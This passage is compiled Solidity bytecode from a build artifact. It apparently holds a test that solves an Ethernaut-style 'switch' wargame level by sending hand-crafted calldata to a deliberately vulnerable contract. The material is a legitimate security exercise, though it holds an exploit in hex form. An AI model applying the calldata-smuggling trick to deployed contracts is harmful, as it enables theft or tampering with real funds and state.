5207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c656430c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000a264697066735822122070cf706d7c46137ca923be81c7df4d54cd9694a57bf63e1b5f62f374f91788d664736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;332:2352:147;420:32:154;259:12:155;332:2352:147;420:32:154;410:43;382:71;;332:2352:147;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001d34565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001d77565b620001b3620001fa36600462001e63565b62000a32565b6200020a62000bfd565b604051620001c7919062001f36565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001ff9565b620001da62000257366004620020c6565b62000eea565b6200019a6200107a565b6200027162001371565b604051620001c79190620020de565b620001b36200029136600462002144565b62001446565b6200023762001565565b620002b8620002b236600462002162565b6200164a565b6040519015158152602001620001c7565b62000271620017da565b6200019a620018af565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001948565b620001da62001a1c565b6200019a6200032f366004620020c6565b62001a7c565b601e54620002b89060ff1681565b5f62000350600262000eea565b9050805f815181106200036757620003676200219e565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200219e565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001446565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001ce7565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097691908101906200223f565b90508060018251620009899190620023cf565b815181106200099c576200099c6200219e565b60200260200101515f0151600281518110620009bc57620009bc6200219e565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620023e5565b90505f81848560405160200162000ad492919062002437565b60408051601f198184030181529082905262000af49291602001620024e5565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002517565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620023e5565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001af090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200252b565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200252b565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ed157602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b0319168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f095762000f0962001dc5565b60405190808252806020026020018201604052801562000f33578160200160208202803683370190505b5090505f5b8381101562001073575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f80573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fa6919062002565565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001024575f80fd5b505af115801562001037573d5f803e3d5ffd5b50505050808383815181106200105157620010516200219e565b6001600160a01b03909216602092830291909101909101525060010162000f38565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010d1575f80fd5b505af1158015620010e4573d5f803e3d5ffd5b50506040805160048152602480820183526020820180516001600160e01b03167f20606e150000000000000000000000000000000000000000000000000000000017905291515f94507f30c13adec91872243f797e6f9ca682ad108854e1f771ca6bee08c6550c7198d793506200115c920162002517565b60408051601f198184030181529181526020820180516001600160e01b03167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925260215491519092505f9182916001600160a01b0390911690620011cb90859062002583565b5f604051808303815f865af19150503d805f811462001206576040519150601f19603f3d011682016040523d82523d5f602084013e6200120b565b606091505b5091509150816200122157620012218162001b92565b602154604080517ff9f8f8950000000000000000000000000000000000000000000000000000000081529051620012b2926001600160a01b03169163f9f8f8959160048083019260209291908290030181865afa15801562001285573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620012ab9190620025a0565b1562001bf5565b6040518060e0016040528060a481526020016200665860a491396021546040519194506001600160a01b031690620012ec90859062002583565b5f604051808303815f865af19150503d805f811462001327576040519150601f19603f3d011682016040523d82523d5f602084013e6200132c565b606091505b509092509050816200134357620013438162001b92565b6020546021546200136c9162001366916001600160a01b0391821691166200164a565b62001bf5565b505050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620013b4906200252b565b80601f0160208091040260200160405190810160405280929190818152602001828054620013e2906200252b565b8015620014315780601f10620014075761010080835404028352916020019162001431565b820191905f5260205f20905b8154815290600101906020018083116200141357829003601f168201915b50505050508152602001906001019062001394565b5f80604051620014569062001cf5565b604051809103905ff08015801562001470573d5f803e3d5ffd5b5090505f604051620014829062001d03565b604051809103905ff0801580156200149c573d5f803e3d5ffd5b508483604051620014ad9062001d11565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620014e7573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001546575f80fd5b505af115801562001559573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200163157602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b03191681526020019060040190602082600301049283019260010382029150808411620015f25790505b5050505050815250508152602001906001019062001588565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620016a6575f80fd5b505af1158015620016b9573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001717575f80fd5b505af11580156200172a573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200178e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620017b791908101906200223f565b9050600181511115620017cf576001915050620017d4565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200181d906200252b565b80601f01602080910402602001604051908101604052809291908181526020018280546200184b906200252b565b80156200189a5780601f1062001870576101008083540402835291602001916200189a565b820191905f5260205f20905b8154815290600101906020018083116200187c57829003601f168201915b505050505081526020019060010190620017fd565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001906575f80fd5b505af115801562001919573d5f803e3d5ffd5b50506020546021546200194693506200194092506001600160a01b0391821691166200164a565b62001c74565b565b6008545f9060ff161562001960575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620019ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001a159190620025c1565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001a898243620025d9565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001b479086908690600401620025ef565b5f60405180830381865afa15801562001b62573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b8b919081019062002620565b9392505050565b62001bf28160405160240162001ba9919062002517565b60408051601f198184030181529190526020810180516001600160e01b03167f0be77f560000000000000000000000000000000000000000000000000000000017905262001cc7565b50565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001c5a575f80fd5b505afa15801562001c6d573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001c43565b80516a636f6e736f6c652e6c6f67602083015f808483855afa5050505050565b6108f8806200265783390190565b610ae58062002f4f83390190565b611e7a8062003a3483390190565b610daa80620058ae83390190565b6001600160a01b038116811462001bf2575f80fd5b5f805f6060848603121562001d47575f80fd5b833562001d548162001d1f565b9250602084013562001d668162001d1f565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001db95783516001600160a01b03168352928401929184019160010162001d92565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001dff5762001dff62001dc5565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001e315762001e3162001dc5565b604052919050565b5f67ffffffffffffffff82111562001e555762001e5562001dc5565b50601f01601f191660200190565b5f6020828403121562001e74575f80fd5b813567ffffffffffffffff81111562001e8b575f80fd5b8201601f8101841362001e9c575f80fd5b803562001eb362001ead8262001e39565b62001e05565b81815285602083850101111562001ec8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001f0157818101518382015260200162001ee7565b50505f910152565b5f815180845262001f2281602086016020860162001ee5565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001fea57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001fd357605f1988850301835262001fc084865162001f09565b948d01949350918c019160010162001fa1565b505050968901969350509087019060010162001f5b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620020b857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620020a25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200205e565b5096890196945050509086019060010162002020565b509098975050505050505050565b5f60208284031215620020d7575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200213757603f198886030184526200212485835162001f09565b9450928501929085019060010162002105565b5092979650505050505050565b5f6020828403121562002155575f80fd5b813562001b8b8162001d1f565b5f806040838503121562002174575f80fd5b8235620021818162001d1f565b91506020830135620021938162001d1f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620021ce57620021ce62001dc5565b5060051b60200190565b5f620021e862001ead8462001e39565b9050828152838383011115620021fc575f80fd5b62001b8b83602083018462001ee5565b5f82601f8301126200221c575f80fd5b62001b8b83835160208501620021d8565b80516200223a8162001d1f565b919050565b5f602080838503121562002251575f80fd5b825167ffffffffffffffff8082111562002269575f80fd5b818501915085601f8301126200227d575f80fd5b81516200228e62001ead82620021b2565b81815260059190911b83018401908481019088831115620022ad575f80fd5b8585015b83811015620023ae57805185811115620022c9575f80fd5b86016060818c03601f19011215620022df575f80fd5b620022e962001dd9565b8882015187811115620022fa575f80fd5b8201603f81018d136200230b575f80fd5b898101516200231e62001ead82620021b2565b81815260059190911b8201604001908b8101908f8311156200233e575f80fd5b6040840193505b82841015620023605783518252928c0192908c019062002345565b845250505060408201518781111562002377575f80fd5b620023878d8b838601016200220c565b8a830152506200239a606083016200222d565b6040820152845250918601918601620022b1565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017d457620017d4620023bb565b5f60208284031215620023f6575f80fd5b815167ffffffffffffffff8111156200240d575f80fd5b8201601f810184136200241e575f80fd5b6200242f84825160208401620021d8565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200247081600585016020880162001ee5565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620024af81600a84016020880162001ee5565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620024f881846020880162001ee5565b8351908301906200250e81836020880162001ee5565b01949350505050565b602081525f62001b8b602083018462001f09565b600181811c908216806200254057607f821691505b6020821081036200255f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002576575f80fd5b815162001b8b8162001d1f565b5f82516200259681846020870162001ee5565b9190910192915050565b5f60208284031215620025b1575f80fd5b8151801515811462001b8b575f80fd5b5f60208284031215620025d2575f80fd5b5051919050565b80820180821115620017d457620017d4620023bb565b604081525f62002603604083018562001f09565b828103602084015262002617818562001f09565b95945050505050565b5f6020828403121562002631575f80fd5b815167ffffffffffffffff81111562002648575f80fd5b6200242f848285016200220c56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61087e8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663f9f8f8956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61049f806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe60806040525f805464ffffffff0019166420606e1500179055348015610023575f80fd5b5061046e806100315f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635a2cfa661161004d5780635a2cfa661461008557806376227e12146100cc578063f9f8f895146100d4575f80fd5b806320606e151461006857806330c13ade14610072575b5f80fd5b6100706100f0565b005b610070610080366004610361565b61014f565b5f5461009690610100900460e01b81565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b6100706102b9565b5f546100e09060ff1681565b60405190151581526020016100c3565b3330146101445760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c20746869730060448201526064015b60405180910390fd5b5f805460ff19169055565b610157610316565b6004604482375f54815161010090910460e01b7fffffffff0000000000000000000000000000000000000000000000000000000016146101ff5760405162461bcd60e51b815260206004820152602860248201527f43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682060448201527f66756e6374696f6e000000000000000000000000000000000000000000000000606482015260840161013b565b5f3073ffffffffffffffffffffffffffffffffffffffff1683604051610225919061040c565b5f604051808303815f865af19150503d805f811461025e576040519150601f19603f3d011682016040523d82523d5f602084013e610263565b606091505b50509050806102b45760405162461bcd60e51b815260206004820152600e60248201527f63616c6c206661696c6564203a28000000000000000000000000000000000000604482015260640161013b565b505050565b3330146103085760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c207468697300604482015260640161013b565b5f805460ff19166001179055565b60405180602001604052806001906020820280368337509192915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610371575f80fd5b813567ffffffffffffffff80821115610388575f80fd5b818401915084601f83011261039b575f80fd5b8135818111156103ad576103ad610334565b604051601f8201601f19908116603f011681019083821181831017156103d5576103d5610334565b816040528281528760208487010111156103ed575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f82515f5b8181101561042b5760208186018101518583015201610411565b505f92019182525091905056fea264697066735822122055ac63fc356b6bfa4cbc0e9135bac6a6642b324508b8511e07cda734a6cdffb364736f6c63430008180033a264697066735822122011bd8b6f5d16ab1e7e5092e4843f72f39de77828e14b49723b0b3ca2ec2e7fa864736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b